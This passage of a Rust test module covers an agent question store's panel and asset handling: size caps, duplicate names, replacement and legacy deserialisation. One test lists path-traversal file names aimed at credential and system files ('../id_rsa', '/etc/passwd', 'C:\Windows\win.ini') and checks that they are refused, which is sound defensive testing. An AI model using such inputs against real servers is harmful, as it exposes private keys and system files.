1417 assert_eq!(json["panel"], true);
1418 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1419 let back = s.get(&q.id).unwrap();
1420 assert!(back.panel);
1421 assert_eq!(back.assets, q.assets);
1422
1423 std::fs::remove_dir_all(&work).unwrap();
1426 assert_eq!(
1427 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1428 Some(&b"\x89PNG"[..]),
1429 "a referenced asset would be gone with the worktree"
1430 );
1431 }
1432
1433 #[test]
1434 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1435 let (dir, s) = store();
1436 let mut q = panelled();
1437 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1438 s.put(&mut q).unwrap();
1439
1440 let secret = "this must never reach the browser";
1443 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1444 assert_eq!(
1445 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1446 secret,
1447 "the traversal is real: the operating system resolves this path \
1448 happily, which is why the name has to be refused before the join"
1449 );
1450
1451 let long = "x".repeat(200);
1452 for name in [
1453 "..",
1454 "../id_rsa",
1455 "..\\id_rsa",
1456 "sub/../id_rsa",
1457 "/",
1458 "\\",
1459 "/etc/passwd",
1460 "C:\\Windows\\win.ini",
1461 "",
1462 ".hidden",
1463 ".",
1464 long.as_str(),
1465 ] {
1466 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
1467 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
1468 assert!(
1469 e.contains("not a panel file name"),
1470 "`{name}` must be refused as a name, not attempted: {e}"
1471 );
1472 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
1473 }
1474 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
1477
1478 let hidden = dir.path().join(".hidden");
1481 std::fs::write(&hidden, "x").unwrap();
1482 let e = s
1483 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
1484 .unwrap_err()
1485 .to_string();
1486 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
1487 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
1488 assert!(q.assets.is_empty());
1489 }
1490
1491 #[test]
1492 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
1493 let (dir, s) = store();
1494 let mut q = panelled();
1495 s.put(&mut q).unwrap();
1496
1497 let big = dir.path().join("recording.png");
1500 std::fs::File::create(&big)
1501 .unwrap()
1502 .set_len(PANEL_MAX_BYTES)
1503 .unwrap();
1504
1505 let html = "<p>see the recording</p>";
1506 let total = PANEL_MAX_BYTES + html.len() as u64;
1507 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
1508 assert!(
1509 e.contains(&PANEL_MAX_BYTES.to_string()),
1510 "the cap is named so the agent knows the limit: {e}"
1511 );
1512 assert!(
1513 e.contains(&total.to_string()),
1514 "the actual size is named so the agent knows by how much: {e}"
1515 );
1516
1517 assert!(!q.panel);
1518 assert!(q.assets.is_empty());
1519 let left: Vec<String> = std::fs::read_dir(s.root())
1520 .unwrap()
1521 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
1522 .collect();
1523 assert_eq!(
1524 left,
1525 [format!("{}.json", q.id)],
1526 "a refused panel leaves neither a directory nor scratch: {left:?}"
1527 );
1528 }
1529
1530 #[test]
1531 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
1532 let (dir, s) = store();
1533 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
1534 std::fs::create_dir_all(&before).unwrap();
1535 std::fs::create_dir_all(&after).unwrap();
1536 std::fs::write(before.join("diff.png"), "before").unwrap();
1537 std::fs::write(after.join("diff.png"), "after").unwrap();
1538
1539 let mut q = panelled();
1540 let e = s
1541 .put_panel(
1542 &mut q,
1543 "<p>x</p>",
1544 &[before.join("diff.png"), after.join("diff.png")],
1545 )
1546 .unwrap_err()
1547 .to_string();
1548 assert!(e.contains("diff.png"), "{e}");
1549 assert!(
1550 e.contains("before") && e.contains("after"),
1551 "both sources are named, because the fix is to rename one: {e}"
1552 );
1553 assert!(!q.panel);
1554 assert!(!s.panel_dir(&q.id).exists());
1555 }
1556
1557 #[test]
1558 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
1559 let (dir, s) = store();
1560 std::fs::write(dir.path().join("old.png"), "old").unwrap();
1561 std::fs::write(dir.path().join("new.png"), "new").unwrap();
1562
1563 let mut q = panelled();
1564 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
1565 .unwrap();
1566 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
1567 .unwrap();
1568
1569 assert_eq!(q.assets, ["new.png"]);
1570 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
1571 assert!(
1572 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
1573 "an asset from the first attempt would show a mix of two answers"
1574 );
1575
1576 s.drop_panel(&q.id).unwrap();
1577 assert!(s.panel_html(&q.id).is_none());
1578 assert!(!s.panel_dir(&q.id).exists());
1579 s.drop_panel(&q.id)
1580 .expect("dropping a panel that is already gone is the desired state");
1581 }
1582
1583 #[test]
1584 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
1585 let (_dir, s) = store();
1586 let mut q = panelled();
1587 s.put(&mut q).unwrap();
1588
1589 assert!(!q.panel);
1590 assert!(s.panel_html(&q.id).is_none());
1591 assert!(
1592 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
1593 "a missing file is a 404 for the caller, not a failure of the store"
1594 );
1595 let json = serde_json::to_value(&q).unwrap();
1596 assert_eq!(json["panel"], false);
1597 assert_eq!(json["assets"], serde_json::json!([]));
1598
1599 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
1602 assert!(e.contains("empty panel"), "{e}");
1603 assert!(!s.panel_dir(&q.id).exists());
1604 }
1605
1606 #[test]
1607 fn a_question_written_before_panels_existed_still_deserialises() {
1608 let (_dir, s) = store();
1609 std::fs::create_dir_all(s.root()).unwrap();
1610 let id = "20260902-231501-ab12";
1611 let body = r#"{
1613 "schema": 1,
1614 "id": "20260902-231501-ab12",
1615 "run": "20260902-201256-9fb7",
1616 "node": "implement",
1617 "seat": "impl-A",
1618 "summary": "Which storage backend should the cache use?",
1619 "detail": "Both are already dependencies.",
1620 "choices": ["SQLite", "Redis"],
1621 "status": "open",
1622 "asked_at": "2026-09-02T23:15:01Z",
1623 "answered_at": null,
1624 "answer": null
1625}"#;
1626 std::fs::write(s.path_of(id), body).unwrap();
1627
1628 let q = s.get(id).unwrap();
1629 assert!(
1630 !q.panel,
1631 "an absent field means no panel, not a parse error"
1632 );
1633 assert!(q.assets.is_empty());
1634 assert_eq!(q.summary, "Which storage backend should the cache use?");
1635 assert_eq!(
1636 s.list().len(),
1637 1,
1638 "and it is still listed; skipping it would hide an open question"
1639 );
1640 }
1641}